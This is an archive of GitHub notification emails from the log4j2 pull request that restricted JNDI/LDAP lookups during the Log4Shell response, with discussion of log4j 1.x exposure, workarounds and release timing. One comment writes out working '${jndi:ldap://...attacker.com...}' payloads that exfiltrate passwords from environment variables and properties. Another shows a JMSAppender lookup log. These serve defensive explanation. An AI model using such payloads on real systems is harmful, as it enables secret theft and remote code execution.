> > Log4J 1.2.17 is only (potentially) vulnerable if you choose to use the JMS Appender. If you are, you will have to migrate to Log4J2 / Logback.
>
> If you use the JMS Appender AND you configure it with JNDI. If you configure logback with JMS and JNDI, I am guessing you'll have the same issue.
Apologies if this has been ans prior: re log4j 1.2.17, is it a certainty that the only appender with the issue is JMS?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992730958
Regarding JMSAppender vulnerability, it has to be placed in the log4j 1.x and given a corrupt parameter in log4j.xml configuration file. If the log4j.xml configuration file is write protected for all users including its owner, it would be quite difficult to override it with corrupt instructions. For more details, please read `http://slf4j.org/log4shell.html`
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] brunoborges commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
brunoborges commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993000649
> Do I have to reboot the server afterwards to make it be effective?
> Or the other way round: does the effect of removing the class only exist until reboot resulting that I would have to run the zip... command every time after reboot?
Shutdown the JVM, modify the JAR files, and start again the process. Given this is Windows, JAR files may be locked and you won't be able to modify them.
Be careful if you have automatic deployments that may override the modified JAR files with original files.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990264908
> > > > > Is it a security vulnerability?
> > > >
> > > >
> > > > I think it is.
> > > > It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.
> > >
> > >
> > > Oh so glad you show such appreciation for the work of volunteers...
> >
> >
> > @garydgregory
> > I wonder when log4j 2.15 will be officially released? It's hard to imagine that the craziest vulnerability this year has not been solved in the release half a month after it was reported.
> > Its impact is unimaginable. Countless services using log4j2 are exposed to the risk of being attacked, and the way to attack them is surprisingly simple. Even now I dare not open my minecraft server, because any member can attack it if they want - he/she can easily control my server by sending a text through the chat bar.
> > Is there anyone dealing with this matter urgently? It's really incomprehensible that I didn't see Apache give any emergency warning under such a serious problem.
>
> +1, and we are in desperate need of a CVE and security advisory to be announced asap. This could affect hundreds of thousands, if not millions, of services actively running on the internet.
>
> We of course appreciate the efforts from contributors, but overall this is a major security issue that needs a new version release and a security advisory.
My understanding is that the procedure is to hold off on announcing the vulnerability until a patch is available. (See https://www.apache.org/security/).
For background:
The team is taking it seriously. As Gary said, we are all volunteers working on this in our spare time. We are also in different time zones so communication is not instantaneous. If you think things can be improved, that's great! We need more people like you and I would encourage you to [get involved](https://community.apache.org/)!
We are in the process of getting a release out with the fix. During review, some security experts found a new vulnerability in our fix (a way to bypass the fix). This has been addressed and we are now in the process of reviewing the updated 2nd release candidate.
Usually (as per ASF rules) the team [should wait 72 hours](https://www.apache.org/legal/release-policy.html#release-approval) after creating a release candidate before publishing the release to give the community enough time to review and cast their votes. We are building consensus to shorten that window for this particular release, given its urgency.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] jvz commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
jvz commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991233294
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] TopStreamsNet edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
TopStreamsNet edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] philipwhiuk edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
philipwhiuk edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991305906
> https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/net/JMSAppender.html
This presumably requires configuring the appending though, so a simple FileAppender ConsoleAppender wouldn't be vulnerable?
There's no lookup expansion in 1.x, right?
@garydgregory
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] qqchaozai commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
qqchaozai commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991724441
We build class like this：
------------------------------------
package org.apache.logging.log4j.core.lookup;
public class JndiLookup {}
------------------------------------
Then package as log4j-patch.jar.
We put log4j-patch.jar into {your jre path}/lib/ext/ , then we are not worried that this loophole will be introduced again in the future.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990661374
> @remkop Which description is correct ?
@linux-ops You are asking me? Well, in my totally objective, completely unbiased opinion, there is no doubt that my comment is correct. ;-) 😜 But it is possible that others have a different opinion.
Anyway, jokes aside, I understand that the HackerNews discussion got a bit confusing. However, my [earlier comment does mention](https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126) the reason why we believe Log4j 1.x **_is_** impacted: it contains a JMS Appender which can use JNDI. Also note that Log4j 1.x is [End of Life](https://logging.apache.org/log4j/1.2/) and has [other security vulnerabilities](https://www.cvedetails.com/cve/CVE-2019-17571/) that will not be fixed.
**Update (2021-12-11 09:04 JST): according to [this analysis](https://twitter.com/ceki/status/1469449618316533762) by @ceki (the author of log4j 1.x), Log4j 1.x is not impacted, since it does not have lookups, and the JMS Appender only loads Strings from the remote server, not serialized objects.**
To summarize: ~~Log4j 1.x is also impacted~~, and we recommend using Log4j 2.15.0 instead.
To answer your first question:
I believe that applications that use `log4j-api` with `log4j-to-slf4j`, without using `log4j-core`, are not impacted by this vulnerability. (Because the lookup and JNDI implementations are in `log4j-core`.)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126
> Hi @rgoers, is log4j 1.x vulnerable?
Hi @yuezk, as far as I can tell, log4j 1.x does not support lookups. ~~I also could not find any other reference to JNDI in the [log4j 1.x source code](http://svn.apache.org/viewvc/logging/log4j/trunk/). So, no guarantees but it looks like 1.x is not impacted by this vulnerability.~~ **_CORRECTION_**: **log4j 1.x contains a JMS Appender which can use JNDI. So I would say that, yes, log4j 1.x is also impacted by this vulnerability** (Thank you @garydgregory for pointing this out).
**Update (2021-12-11 09:09 JST): according to [this analysis](https://twitter.com/ceki/status/1469449618316533762) by @ceki (the author of log4j 1.x), Log4j 1.x is not impacted, since it does not have lookups, and the JMS Appender only loads Strings from the remote server, not serialized objects.**
Note that log4j 1.x is [End of Life](https://logging.apache.org/log4j/1.2/) and has [other security vulnerabilities](https://www.cvedetails.com/cve/CVE-2019-17571/) that will not be fixed. ~~So we do not recommend using log4j 1.x as a way to avoid this security vulnerability.~~ The recommendation is to upgrade to 2.15.0.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991380319
When there are literally millions of log4j 1.x users out there, can you stop toying around?
There is no lookup expansion in log4j 1.x and it does not suffer from CVE-2021-44228. How hard is it to admit?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990881498
> > Hi there. Would setting the JVM property `com.sun.jndi.ldap.object.trustURLCodebase = false` mitigate this ? Thanks.
>
> It is false by default.
>
> Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".
And 8u191 contains an LDAPS fix.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] albertinix edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
albertinix edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991225381
(re: the fix for versions <= 2.14.1)
Does anyone know if removing the `JndiLookup` class is enough?
On the [Apache Log4j2 page](https://logging.apache.org/log4j/2.x/) it's stated to:
>Remove the JndiLookup **and JndiManager** classes from the log4j-core jar.
(emphasis mine)
However, the only place where I've seen that being stated is on that page.
So - is it required to remove the `JndiManager` class as well?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] Glavo commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
Glavo commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990065982
> Is it a security vulnerability?
I think it is.
It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] rgoers merged pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
rgoers merged pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] mrdgsmith commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
mrdgsmith commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-995025131
> @remkop Thank you for your reply I sent a vulnerability report to [private@logging.apache.org](mailto:private@logging.apache.org) on December 10 and received a reply and thanks from **Ralgh Goers** five hours later. **[CVE-2021-45046](https://github.com/advisories/GHSA-7rjr-3q55-vv33)** seems to have been proposed two days ago. It seems that I am ahead. I just hope my name: 4ra1n can join credit of `CVE-2021-45046` on the page `https://logging.apache.org/log4j/2.x/security.htm` I hope you can remember to add my name after your current work. I will be very grateful
@EmYiQing The bug was originally disclosed to Apache on November 24th by Chen Zhaojun of Alibaba Cloud Security Team - https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/log4shell-vulnerability-is-the-coal-in-our-stocking-for-2021/
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] EmYiQing commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
EmYiQing commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994669329
@remkop Thank you for your reply
I sent a vulnerability report to private@logging.apache.org on December 10 and received a reply and thanks from **Ralgh Goers** five hours later. **CVE-2021-45046** seems to have been proposed two days ago. It seems that I am ahead.
I just hope my name: 4ra1n can join credit of `CVE-2021-45046` on the page `https://logging.apache.org/log4j/2.x/security.htm`
I hope you can remember to add my name after your current work. I will be very grateful
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] EmYiQing commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
EmYiQing commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-995498548
@remkop
Friends, For more analysis on denial of service vulnerabilities, please refer to my article: https://xz.aliyun.com/t/10670
（If you can't understand the articles I wrote in Chinese, you can use Google to translate them into English）
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] wcc526 edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
wcc526 edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-989762094
Is it a security vulnerability?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] zhangyoufu edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
zhangyoufu edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306
You can't ask everybody to upgrade to 2.15 at once. And the `formatMsgNoLookups` option is available to log4j ≥ 2.10 only.
Thanks to [LOG4J2-703](https://github.com/apache/logging-log4j2/commit/3203d3eab6bdd12fdad7ded1860db16a89468c3f), I think it's quite safe to remove `org/apache/logging/log4j/core/lookup/JndiLookup.class` from `log4j-core-*.jar` as a workaround. Just `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class` to disable `${jndi:...}` functionality completely.
I posted all log4j2-core jar with `JndiLookup.class` removed at https://github.com/zhangyoufu/log4j2-without-jndi for reference. Simple local test looks promising.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] diegomrsantos commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
diegomrsantos commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991148664
@peturthors I don't have much knowledge about this issue, so instead of guessing and grep-ing the source code, I was searching for official release notes.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] diegomrsantos removed a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
diegomrsantos removed a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991148664
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] Marcono1234 edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
Marcono1234 edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991396409
The latest Java versions are most likely still vulnerable to RCE. While they prevent loading classes from remote sources by default (`trustURLCodebase` property mentioned in the comments above), they still permit regular deserialization of classes on the classpath of the application. It has been shown multiple times in the past that JDK classes and classes from external libraries can be combined to create so called deserialization "gadget chains", which allow RCE.
And even if for the libraries you are using no such gadget chain is publicly known, it is likely that it just has not been discovered or publicly disclosed yet.
Could the misleading statement suggesting that certain Java versions are not affected by RCE please be removed from the CVE entry description and the GitHub advisory GHSA-jfh8-c2jp-5v3q?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] TopStreamsNet commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
TopStreamsNet commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991739074
> If the attacker can modify log4j.properties (log4j 1.x), she she does not need to download malicious code, she can just as easily place malicious class files in the classpath and have them executed.
>
> So, in a very strict sense there is a vulnerability in log4j 1.x but nothing close to log parameter induced RCE.
I agree with your sentiment, though I do see a difference between being able to modify properties in configuration file (to set target topic) versus being able to add class files - that would be a bit of a stretch
> **If the attacker can modify the config file on some system S, then S can be assumed to be already penetrated to a large extent.**
I can't completely agree with this statement as I can see a whole number of use-cases where users can legitimately amend configuration or it's part for customization reasons..
Anyway just wanted to clarify the state of exploitation in 1.x to show how it is possible
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] vy commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
vy commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991241208
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] jvz commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
jvz commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991233294
`JndiManager` is used by the other JNDI integration points. `JndiLookup` is what's exploitable in a log message, though if you're using JNDI in your configuration, a man in the middle attacker or an attacker with control over the destination URL can configure the LDAP server to return code that can be exploited.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ahahu commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ahahu commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991354707
I'd also like to stress, that it is not sufficient to mitigate this vulnerability by using a JRE/JDK version which prevents the RCE, nor should you rely solely on your firewalls dropping outgoing TCP traffic.
The reason is, that the vulnerability also has the potential for leaking sensitive information via the LDAP request or via DNS.
Variable substition in the payload can be nested and one can use the "sys", "env" or "bundle" keywords to access sensitive data, which than is either used in the LDAP URL path or in the hostname.
Example for exfiltrating an environment variable containing a password used in the URL path
`${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD}`
This could be resolved to ldap://www.attacker.com:1389/mysecretpassword for example.
Example for exfiltrating an environment variable containing a password in the hostname part:
`${jndi:ldap://${env:MYSQL_PASSWORD}.attacker.com:1389/a}`
This could be resolved to ldap://mysecretpassword.attacker.com:1389/a for example
Of course this will fail if certain special characters are used in the password.
Example for exfiltrating the property "spring.datasource.password" from the application.properties file of a spring boot application:
`${jndi:ldap://${bundle:application:spring.datasource.password}.attacker.com:1389/a}`
Example for exfiltrating a system property that was passed through command line:
`${jndi:ldap://${sys:db.password}.attacker.com:1389/a}`
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] diegomrsantos commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
diegomrsantos commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991063956
Can't find much info about it.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] TopStreamsNet edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
TopStreamsNet edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301
@ceki @remkop - it is not exactly true that it doesn't suffer from lookup issue though.
If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input
```
log4j: Trying to find [log4j.xml] using context classloader jdk.internal.loader.ClassLoaders$AppClassLoader@5cb0d902.
log4j: Trying to find [log4j.xml] using jdk.internal.loader.ClassLoaders$AppClassLoader@5cb0d902 class loader.
log4j: Trying to find [log4j.xml] using ClassLoader.getSystemResource().
log4j: Trying to find [log4j.properties] using context classloader jdk.internal.loader.ClassLoaders$AppClassLoader@5cb0d902.
log4j: Using URL [file:/home/user/Downloads/l4j/log4j.properties] for automatic log4j configuration.
log4j: Reading configuration from URL file:/home/user/Downloads/l4j/log4j.properties
log4j: Parsing for [root] with value=[DEBUG, stdout, jms].
log4j: Level token is [DEBUG].
log4j: Category root set to DEBUG
log4j: Parsing appender named "stdout".
log4j: Parsing layout options for "stdout".
log4j: Setting property [conversionPattern] to [%d %-5p %c - %m%n].
log4j: End of parsing for "stdout".
log4j: Parsed "stdout" options.
log4j: Parsing appender named "jms".
log4j: Setting property [initialContextFactoryName] to [org.apache.activemq.jndi.ActiveMQInitialContextFactory].
**log4j: Setting property [topicBindingName] to [ldap://server:1500/a].
log4j: Setting property [topicConnectionFactoryBindingName] to [ldap://server:1500/a].**
log4j: Setting property [providerURL] to [tcp://localhost:61616].
log4j: Getting initial context.
**log4j: Looking up [ldap://server:1500/a]**
log4j:ERROR Error while activating options for appender named [jms].
javax.naming.NamingException: LDAP connection has been closed
at java.naming/com.sun.jndi.ldap.LdapRequest.getReplyBer(LdapRequest.java:133)
at java.naming/com.sun.jndi.ldap.Connection.readReply(Connection.java:443)
at java.naming/com.sun.jndi.ldap.LdapClient.ldapBind(LdapClient.java:365)
at java.naming/com.sun.jndi.ldap.LdapClient.authenticate(LdapClient.java:192)
at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2895)
at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:348)
at java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204)
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
**at org.apache.log4j.net.JMSAppender.lookup(JMSAppender.java:245)**
**at org.apache.log4j.net.JMSAppender.activateOptions(JMSAppender.java:207)**
at org.apache.log4j.config.PropertySetter.activate(PropertySetter.java:307)
at org.apache.log4j.config.PropertySetter.setProperties(PropertySetter.java:172)
at org.apache.log4j.config.PropertySetter.setProperties(PropertySetter.java:104)
at org.apache.log4j.PropertyConfigurator.parseAppender(PropertyConfigurator.java:842)
at org.apache.log4j.PropertyConfigurator.parseCategory(PropertyConfigurator.java:768)
at org.apache.log4j.PropertyConfigurator.configureRootCategory(PropertyConfigurator.java:648)
at org.apache.log4j.PropertyConfigurator.doConfigure(PropertyConfigurator.java:514)
at org.apache.log4j.PropertyConfigurator.doConfigure(PropertyConfigurator.java:580)
at org.apache.log4j.helpers.OptionConverter.selectAndConfigure(OptionConverter.java:526)
at org.apache.log4j.LogManager.<clinit>(LogManager.java:127)
at org.apache.log4j.Logger.getLogger(Logger.java:104)
at testexploit1.<clinit>(testexploit1.java:10)
log4j: Parsed "jms" options.
log4j: Parsing for [org.apache.activemq] with value=[INFO, stdout].
log4j: Level token is [INFO].
log4j: Category org.apache.activemq set to INFO
log4j: Parsing appender named "stdout".
log4j: Appender "stdout" was already parsed.
log4j: Handling log4j.additivity.org.apache.activemq=[null]
log4j: Finished configuring.
```
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] mosajjal commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
mosajjal commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991246265
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991380319
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992515632
> @asokolov-flex
>
> Log4J 1.2.17 is only (potentially) vulnerable if you choose to use the JMS Appender. If you are, you will have to migrate to Log4J2 / Logback.
If you use the JMS Appender AND you configure it with JNDI. If you configure logback with JMS and JNDI, I am guessing you'll have the same issue.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] iamamoose commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
iamamoose commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992634349
Log4j 1.2 has it's own CVE now CVE-2021-4104 to save confusion: https://lists.apache.org/thread/0x4zvtq92yggdgvwfgsftqrj4xx5w0nx
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] brunoborges edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
brunoborges edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994139622
> DoS attack is applicable to the same version range as the RCE as well as including 2.15.0.
